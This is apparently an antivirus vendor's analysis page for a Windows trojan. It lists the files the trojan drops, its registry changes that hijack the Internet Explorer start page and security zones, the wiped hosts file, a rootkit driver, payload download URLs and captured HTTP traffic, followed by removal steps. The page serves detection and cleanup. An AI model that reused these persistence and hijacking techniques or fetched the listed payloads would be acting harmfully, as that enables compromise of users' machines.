Trojan.GenericKD.3463197_0fdf8847a8 – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:228

Mutexes

The following mutexes were created/opened:

RasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexShimCacheMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_A7E9AE10-67A2-0A8A-0545-299E894033D1992-5450-A8A0-2A7653DB3140D0003DA88AA6ED67BC2EEEA9oleacc-msaa-loadedB1E764E6EF8CFB7FCE99BCFFAZonesLockedCacheCounterMutexZonesCacheCounterMutexZonesCounterMutex

File activity

The process %original file name%.exe:228 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7II639P4\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (865 bytes)
%WinDir%\CLOG.txt (1321 bytes)
C:\NeNbkmeO.tmp (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IY0A9K5Q\desktop.ini (134 bytes)
C:\hASTdMDdc.bat (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EK3ATWBP\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IY0A9K5Q\jscript_jquery-1.4.2.min[1].js (7541 bytes)
%Documents and Settings%\%current user%\Favorites\Links\Windows Marketplace.url (262 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SSZ8VBGP\desktop.ini (134 bytes)
%WinDir%\BjCRSBSI\rdMGWUvD.dll (12882 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IY0A9K5Q\style[1].css (1778 bytes)
C:\498E9.dat (39 bytes)
C:\UVqJpwn.dll (2529 bytes)
%WinDir%\xHjIatjr.dll (13 bytes)
%System%\751d7\CDClient_EX.sys (108 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SSZ8VBGP\175sf[1].htm (412 bytes)

The Trojan deletes the following file(s):

C:\NeNbkmeO.tmp (0 bytes)
%System%\drivers\etc\hosts (0 bytes)
C:\hASTdMDdc.bat (0 bytes)
C:\498E9.dat (0 bytes)
C:\UVqJpwn.dll (0 bytes)
%WinDir%\xHjIatjr.dll (0 bytes)
%System%\751d7\CDClient_EX.sys (0 bytes)

Registry activity

The process %original file name%.exe:228 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\c4HSOdFgFOo]
"ImagePath" = "\DosDevices\%System%\751d7\CDClient_EX.sys"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\System\CurrentControlSet\Services\c4HSOdFgFOo]
"Devname" = "c4HSOdFgFOo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCR\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]
"(Default)" = "%Program Files%\Internet Explorer\IEXPLORE.EXE https://www.hao123.com/?tn=90251187_hao_pg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Local Page" = "https://www.hao123.com/?tn=90251187_hao_pg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AD 80 C8 30 7A B5 DB A2 01 E8 9D E0 88 47 AD 5B"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "https://www.hao123.com/?tn=90251187_hao_pg"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\System\CurrentControlSet\Services\c4HSOdFgFOo]
"ErrorControl" = "1"
"Type" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Automatic startup of the following service is disabled:

[HKLM\System\CurrentControlSet\Services\c4HSOdFgFOo]
"Start" = "3"

The Trojan deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\TypedURLs]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Search]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{FB5F1910-F110-11d2-BB9E-00C04F795683}]
[HKLM\SOFTWARE\Microsoft\Internet Explorer\Extensions\{e2e2dd38-d088-4134-82b7-f2ba38496583}]

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
a7593f0cb215231cd18877d846efeb59	c:\UVqJpwn.dll
5cd8cc7ff3c6e7a64a7a726e030d048d	c:\WINDOWS\BjCRSBSI\rdMGWUvD.dll

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 0 bytes in size. All records have been removed.

Rootkit activity

Using the driver "\DosDevices\%System%\751d7\iEwx6T7VPp9.sys" the Trojan controls creation and closing of processes by installing the process notifier.

Using the driver "\DosDevices\%System%\751d7\iEwx6T7VPp9.sys" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Using the driver "\DosDevices\%System%\751d7\iEwx6T7VPp9.sys" the Trojan controls operations with a system registry by installing the registry notifier.

The Trojan installs the following kernel-mode hooks:

ZwTerminateProcess

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\7II639P4\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (865 bytes)
%WinDir%\CLOG.txt (1321 bytes)
C:\NeNbkmeO.tmp (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IY0A9K5Q\desktop.ini (134 bytes)
C:\hASTdMDdc.bat (18 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\EK3ATWBP\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IY0A9K5Q\jscript_jquery-1.4.2.min[1].js (7541 bytes)
%Documents and Settings%\%current user%\Favorites\Links\Windows Marketplace.url (262 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SSZ8VBGP\desktop.ini (134 bytes)
%WinDir%\BjCRSBSI\rdMGWUvD.dll (12882 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IY0A9K5Q\style[1].css (1778 bytes)
C:\498E9.dat (39 bytes)
C:\UVqJpwn.dll (2529 bytes)
%WinDir%\xHjIatjr.dll (13 bytes)
%System%\751d7\CDClient_EX.sys (108 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SSZ8VBGP\175sf[1].htm (412 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
CODE	4096	1187840	943616	5.54501	5f0a8667490e2107a444c56dde486cde
.rsrc	1191936	8192	5632	4.75777	906c1c43d50423f69ddf37f667c5f663

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://www.58sky.com/index/getcfg?id=8618	119.97.143.40
hxxp://opt.ecoma.ourwebpic.com/d2/CDClient.dll
hxxp://www.58sky.com/index/getcfg?id=3	119.97.143.40
hxxp://opt.ecoma.ourwebpic.com/d2/x86.dll
hxxp://175.haodns123.cc/
hxxp://175.haodns123.cc/js/jscript_jquery-1.4.2.min.js
hxxp://175.haodns123.cc/css/style.css
hxxp://opt.ecoma.ourwebpic.com/ips1388.asp
hxxp://www.175sf.com/js/jscript_jquery-1.4.2.min.js	14.29.32.98
hxxp://www.175sf.com/css/style.css	14.29.32.98
hxxp://www.ip138.com/ips1388.asp	87.245.198.83
hxxp://www.go890.com/d2/x86.dll	87.245.198.83
hxxp://www.go890.com/d2/CDClient.dll	87.245.198.83
hxxp://www.175sf.com/	14.29.32.98
cnwb.58ad.cn

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /index/getcfg?id=8618 HTTP/1.1

Host: VVV.58sky.com

Accept: text/html, */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.4

Date: Fri, 02 Sep 2016 07:16:49 GMT

Content-Type: text/html;charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.27

Set-Cookie: PHPSESSID=hiu06vbfdam7bct3fu7feu7l01; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

732.................6._.h....#... h...!}(."..K.%Q.DKr....J.h..4A.d.spn...yE...U.....*geZ.,]...2}..m[7.6.......0.........Z....f.....:[..Y%i.oY....D..Z.......XV......"!-A..........XL....48..t....%.]E..g......q....B..)I*vJ.<.t..}3.U.J......3..<.2.=.TO...wM...T..e?.(K....e."...e;.D.)aM..n{......U.'I.E.dk.oI..B>DR..u......@...?..0 nX..S"*M..q<.a...8..FQ<...@/.._.h.}5kmn..'..0..//\B.Vycp..u.[..u8...K^....A.L..*R..9'M...6#z]....^.... . '%.q>....R.9..NhM..HjC .t.....0.TN#.....X.x.6i...m..[..t.J...)S=3.@.t.."...tG....pD....3.....u....8..(.Y....S..d...T....^.....T.Dd.=..,........*<.X.z{.... .;...E....I.....g...q..L.......qa..Q.a..2.1v.a..%.9de. R...I{...b......:C.A...\.K.:..~..d.POA.....iN(*..R.X1.I..&n.E..._..Qx..!..@.....8.....,4.8....n.....%.rYd'Z.;ZA....FA.K.v}.(...J:z...}.a..1.....L.=.....5....4.:(yCc.X.(......EmD...a.f..]..j9.bh5`.X(.F.\.4..H8..6..................'...-.qF.-M#....;..v{......=>k.....J.?.........'`......I{........ &.Dl.:c.q(S....q...dV03d.s;.2.mOV....?..`...'..9.K8LSV.p>..\....^lo...G..{F.jAI...NJ%K./....U..!.8?..B..7...HB.....%.-O.!...&.;.M.\...!6.........1>.-.>.4......e.....#.h.w..7..R2frs Z..G.".G.".2..N)...K.PdZ.h....i.........G.........9}j.vm.....?DD...........,.B6.............}..O.........,..G[.........<{.........{tN.:.5.=.G%.o..'..c..k...22!IT....]... lnM....6..Ju.~.........4......=.Bu.4..L`.O/....8.F..q.....Uo.a...I.B.........i...N%..i..B....e.v..k.......\,..E.....f....&.....c.?cg.S......_^.5........6=;..mM9..JA.....R......h.;...e..<..E<..n..q-..D.E..t

<<< skipped >>>

GET /css/style.css HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 07:17:09 GMT

Content-Type: text/css

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Thu, 23 Jun 2016 10:01:38 GMT

Content-Encoding: gzip

b2a...............n......?..,.....(KZ.....Q.2.J...A...5%...^;.c..T....~@..gZ.y./....sf..(.:....`9.s.s...~.G....7...f.g.x52.g..,]..M|....^. ...]...x^..F.<...o.?Z.... {f.2NnG...}......'.....#.,:.../G.'&...;9.z.9:>._.LN..#c..".:^...-H.0.:y..l..$.W..,./r.\..y.TL&.L.G..-..QF.O.$.(..$.h.f~...8.W..$f....|".8).5.....t...q~..}...Vg..uR:62.....4.w%._B...T...k?....}.....K.M.../.9....o............[........m..jI...a.(..8...n,.To...|F.....(.....I.. ....q&._L..l".'..j. .L-"..2k..sW8@:i.#..W.,-T...:K>.v?'_...}.K.y.}....b..>..Ig`.o........q5........r.w........1;@f}...].0....95...V..`..Q...3.......yH.'.c.NNN.%.t..U....{tK.h:"..1.,..c"`o.EA...r.x..z..1...=U....i%:.p.3..3.1.9..n_.......w.?.n....V... 4....FZ....*Q......r...].g.$.2QZm......g..0.2..k ..s nn.$...S..[..f. ...fi^.T...B..(.$T.3\^ R..wq.....llE}..P..e.W...%._..D...cc.$...R... ..fd,.0.V.......#..w.&.z.`..G] . C.....{.`...G..9....p...r.x.h..N(....:..f.\...@.7..).D..F`#.........f.p....2L.Z.......J.......M.`[...2ZE7.e.d.v..r.. .... .....djV..rZ...=.......d........o?....~...Q..h.......C".=v.o.K...0.~.C(.L...B.......>Z..y'......Q..I.....=Y.J....(^....Uu'...02....\S!..C...Z.... S.~.=\....z.....A.n......S..H.u).L.k.P...<Hb.Y....|u..N..8.....0.\'n......oC`...(....H.l..s....q.[7.`...1t....4.....X.us..~.1...Z.....e...-^t.;.d....3...}F.6......., SPu.V.....e......@...8.r..es.z...*m....5.*.2...h........R.%.^.Zc....4;.=.\.AS..OE..J.;.}.,..YE$.;k.........@]G.i..Ptq...;M...#V.AS.......>;.....-b;....YDH.W.#".@/.w.A......8.a..zH....,(.. `{..E.9...(."...v..F.xW...r...^..

<<< skipped >>>

GET /index/getcfg?id=3 HTTP/1.1

Host: VVV.58sky.com

Accept: text/html, */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Server: nginx/1.4.4

Date: Fri, 02 Sep 2016 07:16:53 GMT

Content-Type: text/html;charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.27

Set-Cookie: PHPSESSID=4gmb1dk9ch8ln1t8j6r4mmi773; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

1000a..............Y..8r..].8~..V.....n.<..{..n..-.R*....d..._P"..e.x.s.TU.EQ\....o.:....?-....T^..[R.........*...............u6_L.........y7..6..._y....O.......S{....K......K..?.......bJ._:.'m".....M............q{...N.E.o..?].......;...6 .k......}._..}-..\.>...\.....$..@.....R..%E..s,)..<i.gU.p..........D(.^O..b...~...)...b=._O...U..y.....trH..U=...9....\hr..%...q|O@.ps-.~PnV..n.e.<ti..v.O.><6..n'.......^..Uk...q..u..[...N..j=LNS^...l..p...j....F.........#\>.f_...H&..!...&.....HP&.....gt......:I...7..6.K".UGo....J...._...=.#.5...e...>....X.zQ$....M.nB....C.?Z...|P5..X....y..t./.azx.......s_>..../@..R.4.<oa...".....f...=:$.....i../.o'.k.W.....`.^d.T.-..I./...s(.2..#=J..Q...reM./...._.L.....KV>Y..]... H....9...S.....v,^..j......tj_~..;ur<XzT...(...r..c...T..........Hw.I.$....m...f....c...x^..J.A....x>....^...:^@..tahH.r..?u..b...2B...c..U.f...Y4Y.@.8...L...<f...gs.......]...p.hB4_..a....S.......RC..Dy5.X.g3......6N.t3..n.....9a..........>[..O..}.L...E....?...../._......._......J.]....._..._..._........7y..;......<>l.(..y8.....r..Ww2...-.....,.k...g:....`=.{...gr..1.y...~..j.bR\]!o..J....,..sPj.N...Vi...kv..H2.^.........|.....7O.x.....C8.3M.(.1?..H.....a....'..<.Gr...O#>.Y....i./..c../....8..%.V.......q......{&\f`..z6........n.........._................[,.............in.O......p.....~.........n.........<e`........k........'....].<._.m...o2.......w.../...o.#\.......Z0..j....Mn..Q}=.*.#.1.....~.sT...f.....f.7.:`.|.(..)...4=L....Sr..S.....'.(..c.M_.._...

<<< skipped >>>

GET /ips1388.asp HTTP/1.1

Host: VVV.ip138.com

Accept: text/html, */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 07:17:07 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Content-Length: 9659

Content-Type: text/html

Set-Cookie: ASPSESSIONIDQCQRSQRR=HPKGBJJEOPDICDDAKGKJJKPH; path=/

Cache-Control: private

X-Via: 1.1 db78:8 (Cdn Cache Server V2.0)

Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">..<HTML>..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=gb2312">..<meta http-equiv="mobile-agent" content="format=html5; url=hXXp://m.ip138.com/ip.html"/>..<TITLE>IP........--.................. | ............ | ............ | ........................</TITLE>..<META NAME="Generator" CONTENT="ip,IP....,IP........,ip138,........">..<META NAME="Author" CONTENT="ip138,........">..<META NAME="Keywords" CONTENT="ip,IP....,IP........,ip138,........">..<META NAME="Description" CONTENT="ip,IP....,IP........,ip138,........">..<SCRIPT LANGUAGE="JavaScript">..<!--..function checkIP()..{...var ipArray,ip,j;...ip = document.ipform.ip.value;...if (ip.indexOf(" ")>=0){....ip = ip.replace(/ /g,"");....document.ipform.ip.value = ip;...}...if (ip.toLowerCase().indexOf("hXXp://")==0){....ip = ip.slice(7);....document.ipform.ip.value = ip;...}...if (ip.toLowerCase().indexOf("hXXps://")==0){....ip = ip.slice(8);....document.ipform.ip.value = ip;...}...if (ip.slice(ip.length-1)=="/"){....ip = ip.slice(0,ip.length-1);....document.ipform.ip.value = ip;...}...if(/[A-Za-z_-]/.test(ip)){....if(!/^([\w-] \.) ((ac)|(ad)|(ae)|(af)|(ag)|(ai)|(al)|(am)|(an)|(ao)|(aq)|(ar)|(as)|(asia)|(at)|(au)|(aw)|(az)|(ba)|(band)|(bb)|(bd)|(be)|(bf)|(bg)|(bh)|(bi)|(bid)|(biz)|(bj)|(bm)|(bn)|(bo)|(br)|(bs)|(bt)|(bv)|(bw)|(by)|(bz)|(ca)|(cc)|(cd)|(cf)|(cg)|(ch)|(ci)|(ck)|(cl)|(click)|(club)|(cm)|(cn)|(

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 07:17:08 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Content-Location: hXXp://VVV.175sf.com/index.html

Last-Modified: Fri, 02 Sep 2016 00:53:25 GMT

Content-Encoding: gzip

30d6.............}.s[....MU...;........-).... ...qfwjk... ...(<D.;.ew.j.mm....).z0$.........$@.OJV$[.iK.dQ.%Z.T{....J.q......NL...........O.......'.../8j.....o.........x.Q.....'.s........`\>...\g..4z.\..........4.6.7==...r..1.'.....0(\{9h. .U...g~..S...Oju......d2.8.c.\..'U&9.~=.:k..;=..^gR.L...L..8.............(.r.Qe:=6".b.....c....3y_.af7..z9X.y.U.8.W.x#x........*d.\..U.h..2....Dd.....<.#.@!..'U..~.......:..5.*....*.....niX..Y.B?y./...).p..H.].~.....3.hf.........<.....qb./S.Db..G.*.sx...OT....6..,....k..AB|..s*.fT.....7..>:..o......Z.n..6.FO...F#.h..........SM<......@.{.Z.2.....>...O8F..x...._......U..A.;..p'5:.8........./.....h.4..\.R"=...~...81j.).sN..o?..............d5'N.....w.O.cy5z./G.....'.......Ax....(.r#1RL.)...$...../&.O_... .A|..[..-..z..6l..R.0O...N....0.....T'.|C..<K.$X.T........."_..K....itP:@..6.gu.s.*...<..h.O...F...P..S.B\?3.U`.!L&..d......|>&~.$.-..?...M.a.A{.M....N.W.~....H.....'.5:.~.......9O..Md...&5W..hO.T......8.....O......I6.x..........iW......F..cz..0.7r....!..'5..|N.Sn.......u..Q.....Z.4.P..X...I....#*.....cj../.CE....d....kd....N........W.k.....T.T....N.J.NB.j....'...N....`..L.j?...%J.h...4y...Xj...&..o..sa...j.X@....1x...&.B....P.#<...r..e.W..&....d..B..egz \.y...x5Z5f*...`.j..._GGfug....W....C.V3.;=. T..@|V....131~N.j....W'....... 9...N.1..c.o...&..V...(M.....{.8#.M.2.. ^*TZ.qJ......O......#.TG...O.d.G.....H)G..c.=..].j,<.<oRH.oT(...O......5,.u#.j.{!_...u....I^k....Y...o....Q....R0.M..A....jU...zd\0@.[..g..N.qe...,|.6&.H[N..VM....<N.5..f.U"

<<< skipped >>>

GET /js/jscript_jquery-1.4.2.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.175sf.com/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.175sf.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 02 Sep 2016 07:17:09 GMT

Content-Type: application/x-javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Last-Modified: Tue, 19 Jul 2011 02:14:30 GMT

Content-Encoding: gzip

607f.................F.(._...XhO...H...g.(.Wk[=..v...(_..Ip..$k..y...>..._,..L.,.{....$r...2"...................o.-....E.\7...".........i.^/.v{r.y[.|..d..2_...h.n<..wD.o.x..)]e#..j....l..Vi..,..h..i......h........*....*..U.h^....n..b0.$..q.}.4K[..YpE.....A_?@G^....&..Ek....)...A.E... ....u.{..<.h....h.x....o.O...|.....\....N.3Bg..f1..........<r.m6tO..l.S.%..v].oW.$.l..b.z.....r...........h=....]....<.7kw..s/(...X.... t..^.....D.m....t..h....M1.)ED.....F.U*`......wV.(......,.....h...uz.....e.XCG.5[,.............2*...y....o..y~...g.......a7E"."..o{...,.Z.t1Z....5t,.6.0..<......0/\..7.E#...\...O.$jf...jHN..."<....OOq...U..XY.v.."..f.K..k...........B}.<?............`......`.9..Ho.....W.5&.w..A S~..........O..M....V....Z.....@.vQ.\..].\..#.,.KH.{0....(F.. 1...}*....p.Bhq..l%..}.......e7...H.X,....d..>.vQ ......4.....`.O......l.}..\..B..vx...X.....)..6.7.i?...d#.f...,.B...&4.mv...f5v...p.`....i..T......~..`0k..t...........5......S...`................t.Nz........6.. ...a...fX"k-.....y.Y....pv../..nR...`.t.@.|...h....q...a..^.......`.z.O.l....zR..v.&...2]..G........ ]'..i.......[!....).2m..z......{.?c.?.%~.O....t#.M.....FM....;.X.R.......8^.......S..U........@d.B...f\...p..e... n..&;n....M^...F..~..X. ...C..:..:.j...f....7...6.0..8d.......N.... ._..>P(x.(x....^{....O.$..D`z/.._j.`io..J.3.4R. .c.&..]...o....T..... ..".8....p :.=.Z..b...@......O.f..:==Y...M....Sw.Zm...X...t0}9...v'.3.Ln...q2.*....F.9{...a2..9....v....5..\.j.od)....=.hA.0Dd..R...p......o.G.(..'i..R?5...Lp...0<......b......

<<< skipped >>>

GET /d2/x86.dll HTTP/1.1

Host: VVV.go890.com

Accept: text/html, */*

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Date: Fri, 02 Sep 2016 07:16:58 GMT

Server: kangle/2.9.6

